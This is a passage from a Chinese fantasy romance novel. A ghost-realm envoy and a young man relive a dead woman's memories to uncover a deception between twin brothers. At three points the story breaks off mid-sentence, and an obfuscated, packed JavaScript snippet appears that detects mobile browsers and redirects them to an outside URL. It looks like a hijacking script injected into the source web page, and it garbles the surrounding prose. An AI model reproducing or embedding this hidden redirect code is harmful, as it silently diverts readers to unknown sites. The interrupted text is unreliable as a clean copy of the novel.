《琴言烬蝶》 1. 无忧镇(1) 每逢花灯节,无忧镇便格外热闹。 镇上的男女老少,但凡忙完手头上的活计,就要换上新做的衣裳,去无忧河畔放花灯。 一则惦念逝去的故人,二则为自身求一桩姻缘。 暮色苍茫,银霜遍地,人群哄闹。 街边挂起五彩斑斓各种形态的花灯,河面凌波微闪,照映岸边罗裙长衫,有女为求姻缘而羞涩,早早戴上装饰覆面,微风吹过,佳人身影似俏叶。 有人念故人,有人求姻缘,自然也有人既不念故人,也不求姻缘。 阙音并拢藏于袖中的两指,微微一动,一团火焰自指尖燃起,片刻不过,她掐去火焰,扬起嘴角,双眸却没有笑意。 曲家小姐,找到了。 刚才传送符已被她送出去,不出半柱香,徒弟白觉便会赶至。 她站在河畔,低垂眼眸,一动不动,耳边嘈杂声不绝如缕。卖花灯的,买花灯的;卖糖人的,买糖人的;卖胭脂的,买胭脂的……好似一切都与她无关。 忽有人“啊”的一声惊动她抬起双眸,那人伸手摘下面具,撞上临面而来的寒风,他笑眯眯道:“实在抱歉,灯火昏暗,踩着姑娘了。” 其模样与声音,约莫是个十六七岁的少年。 阙音一愣,微低头,拽起两边裙角,右脚鞋面以及裙边的确沾染了细微泥土。 她放下裙摆,面无表情,似乎对这桩小事并不在意,缓缓道:“无碍。” 少年抿唇,点头,步伐轻快地从她身边走过,风中若有若无传来一股异香。 阙音转身看去,少年已不见踪影,但在前方看到了徒弟,他站在人群中,依旧是一身白色衣袍,全身上下裹得严严实实,生怕被哪个姑娘缠上。 白觉朝她扬了扬手,几步跑了过来,气息沉稳而淡定。 阙音踮起一只脚尖,在雪地上划了圈,轻声道:“她就在此处,只是现在人太多,我还不能出手。” 白觉点头回应,看着地面划过的地方,眸色深沉。 顾老爷曾经对他有恩,如今也该到他报恩的时候了,他刚从顾府出来,脑海中还留存着顾家二公子顾涣的惨白脸色以及顾老爷泪眼模糊的苍老之态。 顾老爷要他救顾涣。 阙音看白觉穿着单薄,微皱眉头,将身上的白色狐裘大氅脱下,生硬地套在白觉身上。 白觉欲拒,被阙音止住,“今夜危险,我分身乏术,此物,可保命。” 白觉拢紧领口,看向阙音的右侧,空无一人,但他感知那里正有双眼睛看着他。 阙音向前走几步,朝身后的白觉道:“时辰还早,我们走一走。” 二人围着河畔并排行走,白觉也将顾老爷对他所说的事情悉数告知阙音。 * 多年前,顾家和曲家是世交,两家约好待乱世一出便归隐山林,相伴相持。祸事不谈,一谈而乱世临,王朝更迭,江山易主。 两家抛开繁荣富贵,功名利禄,来到千里之外的烟山。到了这一代,顾家夫人与曲家夫人交情深重,商量好待孩子长大便结为亲家。 谁知顾夫人生下双生兄弟,历代以来双生子都是不详的迹象,且长子顾峥一出生便比二子顾涣身体孱弱,顾家不愿顾峥之事传扬出去,默认将亲事安排给顾涣。 曲夫人后生下一女,由于失血过多去世,曲老爷悲痛欲绝,为女取名若怜,不再续弦,之后也极少与顾家往来,结姻一事也因此淡去。 待到曲若怜十六岁那年的花灯节上,她在无忧河畔一眼钟情顾峥,坚决要嫁给他。 曲老爷想起那个约定,去顾府说亲,哪知顾峥亲自前来拒绝婚事。曲老爷没了面子,脸色涨得通红,甩袖离去。 当年的亲事实为顾家提出,按道理来讲,曲家小姐当与长子顾峥结姻,只是顾家上下都知顾峥长年卧病在床,能不能活到弱冠都难说,只当是莫要害了人家,要顾峥给曲老爷和曲小姐道歉。 半月过去,曲府收到顾峥的道歉,同时也收到了顾涣的提亲。 又半月,曲府答应了提亲,莲花开得正胜时,曲若怜被抬进了顾府。 无忧镇人人称赞顾涣与曲若怜乃是郎才女貌,天造地设的一对。好景不长,半年过去,顾峥因病救治无果死在烟山上的苍岭山庄,顾峥死后不过月余,曲若怜在顾府割腕自尽。 镇上的人不知从哪里得到的小道消息,听闻曲若怜其实从一开始爱慕的便是顾峥,至死也无法放下顾峥,殉情而去。 可那曲若怜化为厉鬼,竟日日向顾涣索命,使得顾涣如今气若游丝,奄奄一息。 顾老爷看顾涣求生欲望渐无,竟是要随了曲若怜走,慌忙求来在仙山修炼的白觉。 阙音伸出五指,摊开手掌心,任由雪花落下,“时辰快到了,在我没出来之前不要离开顾府。” “好。” 白觉看着眼前脸色苍白的少女,眉眼间似有恒古的悲悯,转身毫不犹豫朝顾府而去。 今日曲若怜离开顾府,绝对不能错失良机,他不能让顾涣自尽,亦不能让阙音空手而归。 * 阙音返回原地,此时河畔四周寂静无声,风呜咽而起,似哭泣之声,缠绵绝望。 河中花灯漂浮不定,距河岸不远的淡黄色花灯上挂着红色小笺,字迹隽秀,写着——送以芍药,结思情。 “曲若怜,你是否也曾在此放了一盏花灯?” 此时此刻,只有曲若怜能听见她的提问。 空中似有水雾弥漫,眨眼间,凭空出现一个披头散发,赤着脚的女鬼,女鬼眼瞳涣散,死白的脸,额间灵火绽放,正是曲家女曲若怜。 曲若怜意识被阙音召回,待看到阙音额间火焰,立刻下跪。 她成为厉鬼后,从鬼差口中得知,鬼域唯有两位大人额间是金色火焰,是神主最得力的手下,而抓过她的那些大人全是紫色火焰,她扯出一副凄容,“求大人再留我些时辰,我不想忘记他。” 阙音摇头,神情淡漠,“留你在此害人?你究竟有何执念?” 曲若怜流下血泪,都化为虚无,她竟微微笑起来,“执念?执念?我只是不想忘记他,不想忘掉和他有关的一切。” 阙音反驳,“可你害了顾涣。” 曲若怜听见此人,蓦地指甲暴长,发出凄凉尖叫,眼神狠厉,“是他害了峥!是他害了我!他该死!” 阙音看曲若怜疯狂模样,轻声叹息,唤其名,曲若怜当即闭嘴,身子轻颤,听得阙音继续道:“我会帮你解开真正的心结,去到该去的地方,结束这一切。” 曲若怜似乎用尽全身力气,低着头不再辱骂,看起来是认命了,做人时不认命,做鬼时却认命了。 阙音命令曲若怜:“起来。” 曲若怜才缓缓起身,她不敢看阙音,阙音身上的气息过于特殊,是鬼魂碰到都会怕的气息。 阙音不知何时设了结界,曲若怜一动不能动,回忆也开始流转,许多快要遗忘的人、事、物,一幕幕浮现。 阙音探了探四周无异动后,欲进入为曲若怜回忆打造的结界,衣袖却被人从身后拉住,她回头,看到少年一手拿着面具遮住半张脸,露出的半边脸眼睛弯成月牙,笑意盈盈。 是方才那个踩了她一脚的人。 他道:“我欠姑娘一个失礼,可否一道?” 阙音扯回衣袖,不欲搭理。 他又捏住阙音垂落的红发带,阙音挑眉看他,像是要从他眼里看出前世今生,忽而淡淡一笑,“好啊。” 星辰猛然被她的笑容怔住,不经意间已被眼前女子拉住手,轻轻一带,二人消失在结界处,淡黄色的光晕散开,无忧河大大小小花灯已远去,化作一点点亮光如夏日里的萤火。 * 十年前的无忧镇,与如今的无忧镇没有多大区别,要说区别便是曲若怜还未嫁给顾涣。 这一年,七岁的曲若怜被曲老爷带去顾府闲叙。 顾府与无忧镇的人们往来密切,凡是和顾峥顾涣相同年纪的儿郎,都可来顾府找二人玩耍。 顾府的后花园,假石嶙峋,回廊曲折,幽径之处还种下四君子,颇有几分书香风气。 曲若怜粉衣蝶裙,长着精致小巧的脸蛋,粉嘟嘟十分可爱,她折下花瓣,追逐花丛间的白色蝴蝶。 有稚气男声渐近,曲若怜好奇随着声音走,走到声音源头处,瞧见几个约莫七八岁的小孩正互相打闹。 她站在一旁对着他们笑,几人从未见过如此好看的人,面面相觑,红了脸,打闹更甚。 曲若怜笑得更欢腾,而身边也混入一阵低沉的笑声,明显不是她的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187082|165497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她抬眸看去,少年大约十来岁,穿着鹅黄色锦袍,身形高而瘦,脸庞白皙,正微笑看着她。 她看了半晌,害羞低头。 少年不以为意,递给她一根绿藤,她伸手接过,随着少年一起在一旁看着那几个小孩。 她问:“哥哥,为何不跟他们一起?” 少年看向她,眸光微暗,似有不尽的忧郁,“我年岁较大,看着就好。” “峥兄,过来呀!”其中有人呼唤。 少年不语,沉默着。 她看着眼前打闹的场景,背过身去,将手心握着的花瓣递给少年,“我也觉得看着就很好,我陪哥哥一起看!” 少年微笑,眸中黯淡被一寸寸融化,绽放出星辰般的光芒。 阳春三月,一高一矮,一黄一粉,一步一跟。 * 星辰反应过来时看到的便是这幅画面,他头晕目眩,抓着阙音衣袖不放手。 他眯眼偷看阙音神情,见她一脸淡漠,毫无感动,正欲开口说话,二人瞬间到了无忧河畔,花灯照亮整条长河,人来人往,好不热闹。 人群中伫立一位蓝衣公子,身长玉立,长发半挽,气质清柔而忧郁。 这大抵就是曲若怜再次见到顾峥的花灯节。 顾峥犹如第一次出门,有些局促不安,站在河畔也不动,对顾涣轻轻问道:“会不会被父亲发现?” 顾涣掀开幂篱,露出一双带着笑意的眼睛,安慰兄长,“你穿着我的衣裳,没人能认出来。” 顾峥接过弟弟手中的花灯,想到什么突然没了兴致,于是默默放下花灯,看着他人祈愿。 他目光所及之处在河中的花灯上,并未瞧见曲若怜正笑着朝他招手,巧在曲若怜不肯放弃,直到顾峥视线里出现曲若怜,他瞳孔猛的一缩,转而低了头。 顾峥并未回应河对岸的曲若怜,而曲若怜并未瞧见正同样招手并摘下帷帽回应她的顾涣。 “小姐,是不是太过明目张胆了?”丫鬟小心翼翼地看着周围人,又轻言细语劝说曲若怜。 曲若怜笑道:“喜欢的人当然要主动些。” 她声音清脆悦耳,声量并不小,加上无忧河是条小河,竟让对岸的人听了去。 顾峥呆愣片刻,转身自人群中隐去。 待曲若怜回过头,已不见顾峥的身影,她急忙穿进人海中,四处找寻,丫鬟焦急等待,河对岸的顾涣眸色沉了下去。 阙音与星辰看完三人心事,静静站在顾涣身旁。 待到顾涣也淹没人群中,阙音忽用力拉住星辰的一只手臂,星辰瘦弱身子堪堪倒在阙音怀里,虽是少年,身形却高出阙音半个头。 星辰不明所以,只静静地靠着阙音一动不动。 忽然,阙音大步后退,少年被推开,失去支柱,仰倒在地,他大叫连连,昏黄色的窄袖擦破了洞,显得更加消瘦落魄。 他一脸不可置信,挤眉弄眼,“姑娘这是何意?” 阙音蹲下,捏起地上一团冰雪,并不回答,自顾自堆起雪人,然而雪浅,两三下便作罢。 她眼皮微动,长长的睫毛也跟着颤动,但听得她盯着并不成形的雪,声音带了一丝不可察觉的抖意,她问:“你叫什么名字?” 星辰换了舒服的姿势躺在雪地上,笑眯眯地朝阙音伸出一只手,“拉我起来,我就告诉你。” 那不成形的雪团瞬间变成硬实的圆球朝他飞滚而去,被他接了满怀,在阙音转过身背对着他时,他收起笑脸,眉眼间一点温度都找不到。 阙音的衣袖宽大,微微颤抖的双手很自然的被遮盖住,她感觉到五脏六腑都在疼,尽管她身体已感觉不到疼。 三百年一晃而过,漫长到她快记不清自己为何还在这世上。 直到此刻,她才感觉真实地活着。 神主说,她要等的人就在无忧镇,且脖颈后有一朵形似火焰的胎记。 她终于等到这一天。 阙音转过身子,白皙的手指从宽袖中露出,朝他伸去,眼前的少女像是突然变了个人,用极其温柔的神情对他说,“对不起。” 星辰缓过神,笑嘻嘻的,将手放在少女的手掌心,冰凉的冷意瞬间传遍全身,他却依然笑着。 “我叫星辰。” “阿音。” 2. 无忧镇(2) 阙音牵着星辰站起身来,周身散去方才的热闹景象,无忧河畔薄雾朦胧,似隔着一层又一层的轻纱,使人感到阵阵凄凉意。 顷刻间,二人已到了曲府。 曲若怜低眉垂眸,安安静静地站在书房,等待父亲回话。 阙音能感知回忆中所有人的思绪,但最主要还是曲若怜。 自那日花灯节一见,曲若怜辗转难眠,心里想的皆是那位蓝衣公子,他与少时样貌并无太大改变,因此能够一眼认出来,迁思回虑,最终来找父亲商议。 “你真心喜欢那顾峥?这些年爹故意不提这门亲事,就是担心你心有所变,你二人多年不往来,他的情分怕是不如你。” 曲若怜心跳如擂鼓,郑重道:“爹,这门亲事本就是定下的,这不正好也合了娘的心意。” 曲老爷看着眼前亭亭玉立的女儿,透过她似是看另一个人,良久,他轻声叹息:“夫人啊,小怜长大了。” 曲若怜想起娘亲,不禁眼眶湿润,曲老爷像是下定了决心,直起背脊,朝曲若怜说:“爹便亲自走一趟。” 多年过去,从前害羞的小姑娘长成了勇于面对且真诚的大姑娘,曲家的人是从骨子里散发出来的矜持和骄傲,而仪态万端的女儿,显的是刚毅傲然,如同猛烈大风,坚韧之草。 星辰挽起袖子,露出白净细腻的手臂,双手叉腰,阙音问道:“你这是为何?” 不远处曲若怜手执团扇来回扇动,额间冒着细汗,阙音淡淡收回目光。 进入记忆过往,自身也会随忆主身临其境当时的气候,如今是六月,正是炎热的天。 她虽能感受到温度,可人世间的温度对她来说始终有点寡淡,她感受不到疼,比如他不小心踩中她,她无知无觉。 星辰往前凑两步,看着阿音,咧嘴一笑,“热不热?” 阿音并不看他,从宽袖中取出一根绣着金丝花纹的红色发带,不待他看清,发带已自行缠绕上星辰的手腕,刹那间,星辰感受到一股清凉自头顶浇灌而下,再无半分热意。 星辰顿时哑口无言,眨眼间,二人已来到顾府,单曲若怜的回忆并不能让阿音看清所有真相,她来到曲若怜的回忆里,主要是为了看顾府的回忆。 其实事情原本可以不用如此复杂,她只要找到顾峥的魂,便一清二楚,只是顾峥已经去往下一世了。 曲若怜这种为情所困的厉鬼,她不能直接带走,否则怨念会如同雪球越滚越大,一发不可收拾,她的任务是解开鬼魂心结,再带回鬼域。 曲若怜会通过她看到事情经过,如此才步入正轨。 * “请求父亲与曲伯父收回约定,侄儿无德无能,给不了曲小姐想要的。” 顾峥一袭青衫跪于地上,他身形消瘦,脸色苍白,嗓音嘶哑,与花灯节那日判若两人。 顾老爷紧闭双眼,不愿看到这般场景,心口憋着一股气,要出不出。一旁的顾夫人以帕掩面,无声而泣,直呼我儿。 曲老爷迟疑观望,心情复杂,顾峥似乎想到曲老爷要说什么,他重重磕了响头,身体颤栗,“侄儿自小身体病弱,常年药物不断,但凡在外看见的,都是弟弟涣儿。” “并非家人刻意隐瞒,实在是,侄儿命薄,不愿人尽皆知。曲小姐少时玩伴并不是在下,至于花灯节,曲小姐怕是认错了人,她真正想嫁的人是涣儿,喜欢的人亦是涣儿。” 顾峥本以为曲老爷无话可讲,谁知曲老爷突然大笑道:“老夫的女儿,从小就是专情之人,在这件事上可谓是坚韧不拔,若怜心悦的是眼底有颗泪痣的顾公子,除了他,谁也不嫁。”说罢,离去。 顾峥跪在地上的身子一惊,他将脸埋在双腿之间,不愿去面对。 顾老爷从座位走下来,扶起顾峥,听他声音似乎苍老了许多,他拍拍顾峥的肩背,柔和道:“待曲伯父气消了,给他道个歉,至于婚事……”复看了看顾峥,叹气,“便不作数了。” 顾峥极其艰难扯出一个浅浅的笑,点头答应,身形摇晃间他抬头看湛蓝的天,若有所失。 月上枝头,顾涣立于顾峥床前,怅然失神,心里疑惑。 “兄长为何要骗曲伯父?” 顾峥靠坐在床头,神色困倦,无力回答。 他不答,顾涣就一直等。 待到烛火过半,顾峥无奈笑了笑,好声好气道:“你怎的还跟从前一般,不得解便穷追不舍。” 顾涣蹙起好看的眉,“既然心悦曲小姐,为何还要拒绝这门亲事。” 顾峥恼顾涣明知故问,然而顾涣不等他回答,抢先一步,“哥哥这些年的样子我都看在眼里,每过一日都是对你极大的折磨,如今好不容易等到这一天,哪怕是和心悦之人过一日,一个时辰,一炷香都不枉此生不是吗?” 顾峥温润的脸庞异常红润,猛然间急促咳嗽,顾涣忙拿出帕子接住,鲜血喷薄而出,溅至他月白衣袖,锦帕之下的手颤抖不止。 顾涣抬眼一看,顾峥双眸间皆是痛楚,染血的嘴唇微张,未能说话便昏倒过去。 顾涣守着顾峥直到天亮,顾峥还是没有醒过来,他站在廊下,衣和发都飘飘逸逸,风姿清朗。 顾涣与顾峥气质相近,行为举止接近,连嗓音都相差不大,不了解兄弟二人的几乎无法辨认出谁是谁。 星辰捏了捏阿音衣袖,一脸天真无邪,“你如何分辨二人?” 阿音想起曲老爷的话,“泪痣,顾涣没有。” 顾峥左眼底有颗极小的泪痣,若非仔细看,很难发现,这是顾涣没有的。 星辰跳跳蹦蹦凑近顾涣,对着这张脸认真仔细地检查,果真什么都没有,他站定阿音身旁,眼神悠远,“其实不靠这个,我也能分辨出二人。” 星辰道:“顾峥虽常年被病痛折磨,眼里仍然有光。” 顾涣从廊下走出,经过阿音和星辰身旁,脚步沉稳走向顾峥房内。顾峥躺在床上,不知何时醒了,呆呆地望着窗外。 顾涣自床沿坐下,并不看顾峥,漫不经心道:“我准备娶曲小姐。” 顾峥眼皮微动,半晌,才露出浅浅的笑,“好。” “你不问我为何?” 顾峥看着顾涣,话语温柔:“你一直都喜欢她,我知道。” 顾涣神色顿住,不可思议尽显流露,“你一直都知道?” 顾峥点点头。 “哥哥,你听好,我娶她,你做顾涣。”顾涣的语气认真而坚定,不似玩笑。 顾峥皱眉,唇角发颤。 “你与曲小姐两情相悦,我想成全这桩喜事。若你安然无恙,你便是一辈子的顾涣。我则离开,做一辈子的顾峥。” 顾峥紧闭双眼,语气变得冰冷,“你怎可生出如此荒唐的念头!”语罢,身子因气极而发抖。 不知过了多久,窗外微风悄然入内,荡起床幔,顾涣声音细不可闻,“从小到大,我总见你独自一人待着,或默默跟随他人,父亲将我视为家族传承人,事无巨细皆要学得精通,有时想来看看你都被阻止……我时常想着,躺在那里的人不是你而是我,倘若好事都由弟弟我占尽,我此生会良心不安。” 他站起来,看向窗外,似是在回忆,喃喃道:“况且我这人对情之一字向来不解,你说我喜欢曲小姐,其实我根本不懂喜欢为何物。” “所以,让我做一回顾峥吧。” 顾峥听完顾涣的这番措辞,眉间有挣扎之色,喉头哽咽,“我不知你原来过得并不开心,我一个即将踏上黄泉之路的人,怎可拖累他人。” 顾涣低低笑起来,不知为何让人觉得悲痛,他道:“既然都要赴黄泉了,怎么还不为自己考虑一下,若有朝一日事情败露,我不会丢下你不管的,你只管安心养病,听我安排。” 顾涣不再逗留,潇洒离开,留下顾峥陷入呆滞。 星辰摇了摇头,“这个顾二公子不简单。” 阿音沉思不语,一转头,未料星辰看了她良久,眼中透出一点荒芜。 “哪里不简单?” “哪里都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187083|165497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不简单。” 二人站在顾峥房内的桌子前,星辰悠哉往凳子一坐,把玩着茶杯,低声说:“渴了。” 阿音坐下,给星辰握着的茶杯倒水,浅绿的粉末似极了茶叶,星辰看着茶水好奇连连却不喝,“这是何物?” 阿音拿起茶壶,闻了闻,“这不是茶叶。” 二人待探个仔细,却被拉入下一个回忆,这些回忆能够显现,皆是曲若怜的心结之处,惆怅,遗憾,苦闷。 * 曲府的正厅内,堆满了大大小小的方形雕花匣子,顾涣站在大厅内,手里拿着聘书,身姿挺拔而俊秀。 近日曲老爷闭门谢客,是曲若怜让顾涣进来,她站在一旁,戴着轻薄面纱,眼睛微肿,明显是为顾峥拒婚一事而哭。 曲若怜灰心失望,“他为何不来?” “兄长病得连话都说不出来了,只好我来了。” 曲若怜心神不宁,手指不停地绞着手帕,眼神却出奇的冷静。 顾涣道:“曲小姐,今日前来,是为两件事。第一,我代顾家上下为那日的事道歉,是我顾家考虑不周,在此赔罪,愿曲小姐和曲伯父原谅。第二,顾家顾涣求娶曲小姐。” 曲若怜听完勃然变色,背过身子不想看见顾涣,“要道歉便请顾大公子亲自前来,至于顾二公子的心意,恕我不能接受。” 顾涣轻轻走至她身旁,定定地看着她,想要从她眼中看出点他期盼的眼神,他用仅二人可听见的声音说,“我娶你,遵的是父母之命,你嫁我,我不阻你继续喜欢兄长,他的状况你也清楚,我这张脸,你想当作谁便是谁。” 他将手中聘书放至她的手心,牢牢握住,轻轻一笑,曲若怜看着眼前这张脸,心绞痛难耐。 那是阳春三月,少年递给她一枝绿藤,浅浅笑意淡淡忧伤,他带她在园子里赏花,白皙的侧脸,消瘦的身形,让她再也忘不了。 那是夜幕飘雪,河对岸的他手足无措地提着花灯,眼眸中是席卷而来的疏远与淡漠,似乎随时要从人世消失不见,她丢下丫鬟,慌忙挤入人群寻找,一抹蓝色飘荡而起又坠入黑暗,再也找不着。 为什么即便如此顾涣还要娶她? 为什么眼前人是顾涣而不是顾峥? 为什么她想嫁的人不能嫁? 阿音听着曲若怜的心声,轻微叹息,风吹过她的发带,衣裙,孤寂犹如春草般野蛮生长,即将淹没。 星辰看出阿音不对劲,扯了扯她的衣袖,关切地问:“你怎么了?” 阿音摇摇头。 阿音能感觉到曲若怜的意识在拉扯她,她还没有看到顾府的算盘,绝对不能随着曲若怜。 阿音解开发尾的红色发带,将发带解成死结,扔在了曲府的屋檐上,接着曲府上下被结界笼罩,曲若怜的意识被封住,回忆戛然而止。 阿音牵起星辰的衣袖,正色道:“你继续待下去会有危险,我送你出去。” 星辰上下转了转眼珠,反问她,“会有什么危险?” “凡人之躯承受我的灵力,会病。” 星辰抿唇,一副意料之中旷达不羁的模样,“病不可怕,不死就成。” “你何以淌这趟浑水。” 星辰拉过她的发带,放在手掌心,咧着嘴道:“看在你如此担心我的份上,我不妨告诉你一个秘密,我这人啊从小体质特殊,大难不死,这点小事还是难不倒我的,待这一切结束,你答应我一个愿望即可。” 阿音看着星辰的手,他的手虽白皙修长,却粗糙干燥,想来长年干重活,她垂了眼眸,回答道:“好。” 星辰愣住,她明明知道他在耍赖,她也不问他是什么愿望,好似不管他是什么愿望,有多少愿望,她都会帮他实现。 十三岁那年开始,他日夜见到鬼魂,甚至,还能触碰,眼前这女子,虽是凡体肉身,身上却有熟悉的感觉。 这感觉过于强烈,引他到她身旁。 果然,不同凡响。 然,她丝毫不伪装。 3. 无忧镇(3) “去找顾峥。” 阿音唤出一只黑蝶,黑蝶在空中盘旋,闪着紫色的光彩,翅膀上的花纹犹如火焰。 黑蝶悠悠落在阿音肩头,星辰看呆,伸出食指向翅膀碰去,未及,黑蝶已化作金光点点进入阿音眼中。 这黑蝶来自鬼域,是她在人间缉拿鬼魂的重要之物,它承载着无数不肯消散人世的心结与执念。 雾起迷蒙,二人来到苍岭山庄。 苍岭山庄位于烟山半山腰,是顾家专门为顾峥修建的疗养之处,顾峥的二十一年,有半数的日子是在这里度过的。 烟渺阁内,顾峥卧在床榻上,青丝垂落,面色是病态的苍白,因虚弱消瘦,以致身上的寝衣也显得宽大了。 大抵是喜静,并未留下小厮在身边伺候,连个守门的也没有。 此时的顾峥身体孱弱到需要在炎热的天使用火盆,他就这般依着香炉,傍着火盆而眠。 阿音走近香炉,将其打开,里边炭火赤红,她用两指沾上未燃尽的香料,凑到鼻尖,果不其然,与顾府茶壶中的绿色粉末气味一致。 星辰看阿音神色,大概猜测到是什么情况,外头忽地响起一声急促的鸟叫。 随着脚步声渐近,顾涣端着一碗汤药出现在烟渺阁。 顾涣放下碗,扶起还在睡梦中的顾峥,顾峥迷迷糊糊中睁开眼,看见来人,扯出淡淡的笑容,“我竟睡着了。” 顾涣并无笑意,拿起碗吹了吹,要喂顾峥喝下。 顾峥垂下眼睫,神色疲惫,推脱道:“太苦了,不喝。” 顾涣紧皱眉头,眼里闪着一股无法遏制的怒火,而怒火被他强行压制,生出一种奇怪的笑,勉强着,紧绷着。 “再坚持几天,就好了。” 顾峥摇了摇头,无力道:“你花费精力找的大夫,定是杏林春满,我只是有些累了。” “哥哥,就当是为了我好不好?” 顾峥抓住顾涣的一只手,语重心长地嘱咐:“生死有命,要学会放下,日后我走了,爹娘就只有你了,你便当我这个哥哥不曾存在过,你是顾家的希望。” 顾涣自嘲般笑道:“顾家的希望是连至亲之人都无法留住么?” 顾峥似是不想再谈论此事,眼皮微跌,昏昏然,抵抗不住的倒了下去。 顾涣为顾峥盖好被褥,看了半晌,最后走到香炉旁,将怀里藏着的香球倒入其中,香料徐徐燃起,烟气飘逸而出,缭绕四周。 不多时,有小厮在外面轻喊,顾峥收好纸包,向外走去,阿音和星辰紧随其后。 待来到庭院中,小厮等到顾涣,匆匆离去,而假山后出现一中年男子,神色严重,顾涣上前,拱手作揖,“齐大夫。” 齐大夫连忙扶起顾涣,低声道:“已经查到了,此药虽能在短期内恢复如常人,可始终不治本,万一日后磕着碰着,状况只会比如今更糟糕,老夫劝公子还是不要试为好。” 顾涣面色如土,衣袖下的手因握拳而发抖,他问道:“还余多少时日?” 齐大夫长声叹息,摇遥头。 “我明白了,辛苦齐大夫。” 炉中的香料应该就是齐大夫口中所说的药,或许顾峥以为顾涣会就此止步,哪里知晓顾涣从不是轻言放弃的人。 他瞒着顾峥,瞒着所有人,在对顾峥提出交换身份之前,已经在顾峥的茶壶里倒入了药物。 这让阿音想起很久从前,她为了学会一支曲子,夜以继日地弹琴练习,只为讨得一人笑颜,而那人却是冰冰冷冷的,不承她的意,但她仍旧不放弃,最后,虽然获得认可,却不是真心欢喜。 因这不知名的药,顾峥长了几两肉,能下榻走动,甚至可以行遍整座山庄,只是山庄上下除了照顾顾峥的小厮以及小住在此的顾涣,无人知晓顾峥身体状况的改变。 烟渺阁外,翩然亭内,顾峥一身素净淡雅,席地而坐,脸不再是昔日苍白之色,肌肤隐隐有光泽流动,眉间也带着笑意,原来没有病痛加身,顾峥是如此潇洒而耀眼。 “哥哥。” 顾涣从花丛中经过,远远地向顾峥打招呼。 这几日阿音守着顾峥,星辰守着顾涣,并没有什么惊天动地的事情,倒是顾涣竟有些躲着顾峥的意味,当下这一见面,已是隔了好几日,却也没有要接近顾峥的念头。 顾峥站起来,大步朝顾涣走去,他拉住顾涣,声音依旧温柔,“怎么见了我就要走?” 顾涣微微笑起来,“哥哥病好了,我甚是开心,一时之间反而不知该说些什么了。” 顾峥不说话,拉着他往亭子走,直到二人坐下,顾峥又倒了茶,端起杯子递给顾涣,顾涣接过,等着顾峥开口。 “其实我都知道。” “知道什么?” “我好不了。” 顾涣心遏制不住地狂跳,并不回应那道视线,他平静道:“何出此言?” “我的身体我最了解不过,只是这几日想了许多,或许我该成全你,或许我可以试着做几日顾涣。” “……” “事已至此,你不必刻意隐瞒。” 顾峥看向池中展开的一朵浅白轻黄荷花,立于角落中,孤寂又惊艳,似不曾与其他任何植物微笑过,它有属于自己的一片天地。 “你说过你想做顾峥,我成全你。”顾峥淡淡的神情说出淡淡的语气。 顾涣低头无语,手指轻巧地一上一下敲打着茶杯,对顾峥突如其来的转变还在默默考虑着。 “我不想逼迫哥哥,我所做的不过是希望你开心。” 顾峥仔细地瞧着顾涣,眉间显露一丝忧郁,他朝顾涣坐近了些,沉吟道:“你没有逼我,我从未尽过身为兄长的责任,反倒是你一直在照顾我,你知我亲情淡薄,也只不过一个你尚且深厚,既是你所愿,我没有理由不答应。” 顾峥顿了顿,继续道:“只是这件事,我不想欺瞒爹娘,至于曲小姐,是我对不住她。” 顾涣摇了摇头,眼神刻着悲凉,“你没有对不住任何人,曲小姐是心甘情愿嫁给我。” 不知何时,阿音额前发丝被风吹得凌乱不堪,遮住一只漆黑的眼眸,眼中似有深入骨髓的哀伤,与苍白的脸庞一般,透着冰冷的气息。 紫色流光自阿音周围纷飞,化身黑蝶翩然飞落在阿音肩头。 阿音幽幽道:“我从一开始就猜到,你是那个被蒙在鼓里的人。” 星辰才意识到阿音在跟黑蝶说话。 只见黑蝶竖起翅膀,似是不同意阿音的说法。 阿音并不理它,依旧看着亭中二人,“你的心结,难道不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187084|165497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是顾峥的欺骗吗?” 黑蝶微微地颤抖着,姿态憔悴,颜色也变得如同死灰,阿音一只手朝肩膀伸去,黑蝶扑动翅翼,盘旋指间。 这个黑蝶是曲若怜之魂,阿音说中了曲若怜的心结,黑蝶的身体颜色也会随之变化,直到变成透明,心结才算被找完。 清风中,星辰站在阿音身旁,若有所思。 他凑近黑蝶,目光如淡淡烟月一样朦胧,对着阿音说:“半年会发生许多事。” “你是想说,柔情蜜意可以打败欺骗?” “顾峥时日不多,如此情况下,一般人都会选择与心悦之人再见一面,更何况与之朝夕相处呢。” “可顾峥没有想过曲若怜得知真相会如何,他以为曲若怜永远不会知道,像她这样性情的女子,是绝不能容忍欺骗的。” 